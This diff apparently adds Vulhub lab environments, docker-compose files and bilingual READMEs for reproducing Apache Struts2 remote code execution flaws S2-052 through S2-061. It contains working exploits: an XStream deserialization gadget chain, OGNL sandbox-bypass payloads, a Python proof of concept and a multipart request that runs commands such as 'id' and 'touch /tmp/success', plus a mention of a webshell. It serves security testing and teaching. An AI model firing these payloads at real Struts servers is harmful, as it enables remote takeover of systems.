Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

95
struts2/s2-052/README.md Normal file
View File

@@ -0,0 +1,95 @@
# S2-052 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
Details:
- http://struts.apache.org/docs/s2-052.html
- https://yq.aliyun.com/articles/197926
## Setup
```
docker compose up -d
```
## Exploit
After launching the environment, visit `http://your-ip:8080/orders.xhtml` to see the showcase page. We need modify the `orders.xhtml` to `order.xml` or modify the `Content-Type` header to `application/xml` to pass the XML data in the body.
So, the package is:
```
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
```
If the packet is executed, the file `/tmp/success` will be created in the docker container. We execute `docker compose exec struts2 ls /tmp/`, and we can see `success`.
In addition, we can also download a jspx webshell:
![](01.png)

View File

@@ -0,0 +1,137 @@
# S2-052 远程代码执行漏洞
影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞详情:
- http://struts.apache.org/docs/s2-052.html
- https://yq.aliyun.com/articles/197926
## 测试环境搭建
```
docker compose up -d
```
## 漏洞说明
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件其根据Content-Type或URI扩展名来判断用户传入的数据包类型有如下映射表
扩展名 | Content-Type | 解析方法
---- | ---- | ----
xml | application/xml | xstream
json | application/json | jsonlib或jackson(可选)
xhtml | application/xhtml+xml | 无
无 | application/x-www-form-urlencoded | 无
无 | multipart/form-data | 无
jsonlib无法引入任意对象而xstream在默认情况下是可以引入任意对象的针对1.5.x以前的版本方法就是直接通过xml的tag name指定需要实例化的类名
```
<classname></classname>
//或者
<paramname class="classname"></paramname>
```
所以我们可以通过反序列化引入任意类造成远程命令执行漏洞只需要找到一个在Struts2库中适用的gedget。
## 漏洞复现
启动环境后,访问`http://your-ip:8080/orders.xhtml`即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml即可在Body中传递XML数据。
所以,最后发送的数据包为:
```
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
```
以上数据包成功执行的话会在docker容器内创建文件`/tmp/success`,执行`docker compose exec struts2 ls /tmp/`即可看到。
此外我们还可以下载一个jspx的webshell
![](01.png)
还有一些更简单的利用方法,就不在此赘述了。
## 漏洞修复
struts2.5.13中按照xstream给出的缓解措施 http://x-stream.github.io/security.html ),增加了反序列化时的白名单:
```java
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
if (invocation.getAction() instanceof ModelDriven) {
stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
}
stream.addPermission(NullPermission.NULL);
stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
stream.addPermission(ArrayTypePermission.ARRAYS);
stream.addPermission(CollectionTypePermission.COLLECTIONS);
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}
```
但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.12-rest-showcase
ports:
- "8080:8080"

BIN
struts2/s2-053/01.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.9 KiB

33
struts2/s2-053/README.md Normal file
View File

@@ -0,0 +1,33 @@
# S2-053 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
Details:
- http://struts.apache.org/docs/s2-053.html
- https://mp.weixin.qq.com/s?__biz=MzU0NTI4MDQwMQ==&mid=2247483663&idx=1&sn=6304e1469f23c33728ab5c73692b675e
## Setup
```
docker compose up -d
```
After the environment run, you can see a submission page by visiting `http://your-ip:8080/hello.action`.
## Exploit
Struts2 allows parsing OGNL expressions when using the Freemarker template engine. The data is not parsed by OGNL itself, but after being parsed once by Freemarker. It becomes an expression and is parsed by OGNL second time.And remote code execution vulnerablity.
Payload:
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
```
![](01.png)
PS: Someone said that they could not reproduce the vulnerability. After my test, I found that the **line break** at the end of the above Payload could not be dropped (that is, the payload must be followed by a newline).

View File

@@ -0,0 +1,31 @@
# S2-053 远程代码执行漏洞
影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞详情:
- http://struts.apache.org/docs/s2-053.html
- https://mp.weixin.qq.com/s?__biz=MzU0NTI4MDQwMQ==&mid=2247483663&idx=1&sn=6304e1469f23c33728ab5c73692b675e
## 测试环境搭建
```
docker compose up -d
```
环境运行后,访问`http://your-ip:8080/hello.action`即可看到一个提交页面。
## 漏洞复现
Struts2在使用Freemarker模板引擎的时候同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析但由于被Freemarker解析一次后变成离开一个表达式被OGNL解析第二次导致任意命令执行漏洞。
输入如下Payload即可成功执行命令
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
```
![](01.png)
说明有的同学说无法复现漏洞经过我的测试我发现上述Payload末尾的**换行**不能掉也就是说payload后面必须跟一个换行虽然我也不知道为什么再发送即可成功。

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:s2-053
ports:
- "8080:8080"

BIN
struts2/s2-057/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

BIN
struts2/s2-057/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

50
struts2/s2-057/README.md Normal file
View File

@@ -0,0 +1,50 @@
# Struts2 S2-057 Remote Code Execution Vulnerablity (CVE-2018-11776)
Affected Version: <= Struts 2.3.34, Struts 2.5.16
Details:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- https://xz.aliyun.com/t/2618
- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
## Setup
Start the Struts 2.3.34 environment:
```
docker compose up -d
```
After the environment is started, visit `http://your-ip:8080/showcase/` and you will see the Struts2 test page.
## Exploit
S2-057 requires the following conditions:
  - `alwaysSelectFullNamespace` is true
  - The action element does not have the namespace attribute set, or a wildcard is used
The namespace will be passed by the user from uri and parsed as an OGNL expression, eventually cause remote code execution vulnerablity.
Payload:
```
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
```
![](1.png)
It can be seen that the result of 233*233 has been returned in the Location header.
Use payload from [S2-057 vulnerability analysis and POC](https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg):
```
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
```
Result:
![](2.png)

View File

@@ -0,0 +1,50 @@
# Struts2 S2-057 远程命令执行漏洞CVE-2018-11776
当Struts2的配置满足以下条件时
- alwaysSelectFullNamespace值为true
- action元素未设置namespace属性或使用了通配符
namespace将由用户从uri传入并作为OGNL表达式计算最终造成任意命令执行漏洞。
影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- https://xz.aliyun.com/t/2618
- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
## 漏洞环境
启动满足条件的 Struts 2.3.34 环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/showcase/`将可以看到Struts2的测试页面。
## 漏洞复现
测试OGNL表达式`${233*233}`
```
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
```
![](1.png)
可见233*233的结果已返回在Location头中。
使用[S2-057原理分析与复现过程POC](https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg)中给出的执行任意命令的OGNL表达式
```
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
```
可见id命令已成功执行
![](2.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.34-showcase
volumes:
- ./struts-actionchaining.xml:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts-actionchaining.xml
ports:
- "8080:8080"

View File

@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>

BIN
struts2/s2-059/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

BIN
struts2/s2-059/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

52
struts2/s2-059/README.md Normal file
View File

@@ -0,0 +1,52 @@
# Struts2 S2-059 Remote Code Execution Vulnerablity(CVE-2019-0230)
[中文版本(Chinese version)](README.zh-cn.md)
The Apache Struts frameworks, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id so it is possible to pass in a value that will be evaluated again when a tag's attributes will be rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).
Affected Version: Struts 2.0.0 - Struts 2.5.20
References:
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
## Setup
Start the Struts 2.5.16 environment:
```
docker compose up -d
```
After the environment is started, visit `http://your-ip:8080/?id=1` and you will see the Struts2 test page.
## Exploit
visit `http://your-ip:8080/?id=%25%7B233*233%7D`, it can be seen that the result of 233*233 has been returned in the id attribute.
![1.png](1.png)
[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776) gives the details of OGNL sandbox bypass in Struts 2.5.16.
A simple Python POC for Verifying the vulnerability:
```python
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
```
Execute the poc and the `touch /tmp/success` command has been executed:
![2.png](2.png)

View File

@@ -0,0 +1,50 @@
# Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)
Apache Struts框架, 会对某些特定的标签的属性值比如id属性进行二次解析所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式造成OGNL表达式注入。从而可能造成远程执行代码。
影响版本: Struts 2.0.0 - Struts 2.5.20
参考链接:
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
## 漏洞环境
启动 Struts 2.5.16环境:
```
docker compose up -d
```
启动环境之后访问`http://your-ip:8080/?id=1` 就可以看到测试界面
## 漏洞复现
访问 `http://your-ip:8080/?id=%25%7B233*233%7D`可以发现233*233的结果被解析到了id属性中
![1.png](1.png)
《[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc利用这个poc可以达到执行系统命令。
通过如下Python脚本复现漏洞
```python
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
```
执行poc之后进入容器发现`touch /tmp/success`已成功执行。
![2.png](2.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.16
ports:
- "8080:8080"

BIN
struts2/s2-061/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 102 KiB

50
struts2/s2-061/README.md Normal file
View File

@@ -0,0 +1,50 @@
# Struts2 S2-061 Remote Code Execution Vulnerablity (CVE-2020-17530)
[中文版本(Chinese version)](README.zh-cn.md)
In the versions prior to Struts 2.5.25, when evaluated on raw user input in tag attributes, may lead to remote code execution.
This vulnerability is the bypass of the OGNL sandbox, which enhance after S2-059.
References:
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://github.com/ka1n4t/CVE-2020-17530
- https://www.anquanke.com/post/id/225252
- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
## Setup
Start a Struts 2.5.25 server:
```
docker compose up -d
```
After the environment is started, visit `http://your-ip:8080/` and you will see a simple page. It is just a copy application of the [S2-059](https://github.com/vulhub/vulhub/tree/master/struts2/s2-059), except for the different Struts versions.
## Exploit
Send the following request to execute the `id` command:
```
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
```
It can be seen that the result of the `id` command will be displayed on the page:
![](1.png)

View File

@@ -0,0 +1,46 @@
# Struts2 S2-061 远程命令执行漏洞CVE-2020-17530
S2-061是对S2-059的绕过Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
参考链接:
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://github.com/ka1n4t/CVE-2020-17530
- https://www.anquanke.com/post/id/225252
- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
## 漏洞环境
执行如下命令启动一个Struts2 2.5.25版本环境:
```
docker compose up -d
```
环境启动后,访问`http://target-ip:8080/index.action`查看到首页。
## 漏洞复现
发送如下数据包,即可执行`id`命令:
```
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
```
可见,`id`命令返回结果将直接显示在页面中:
![](1.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "8080:8080"

BIN
struts2/s2-066/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 169 KiB

BIN
struts2/s2-066/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

BIN
struts2/s2-066/3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 208 KiB

Some files were not shown because too many files have changed in this diff Show More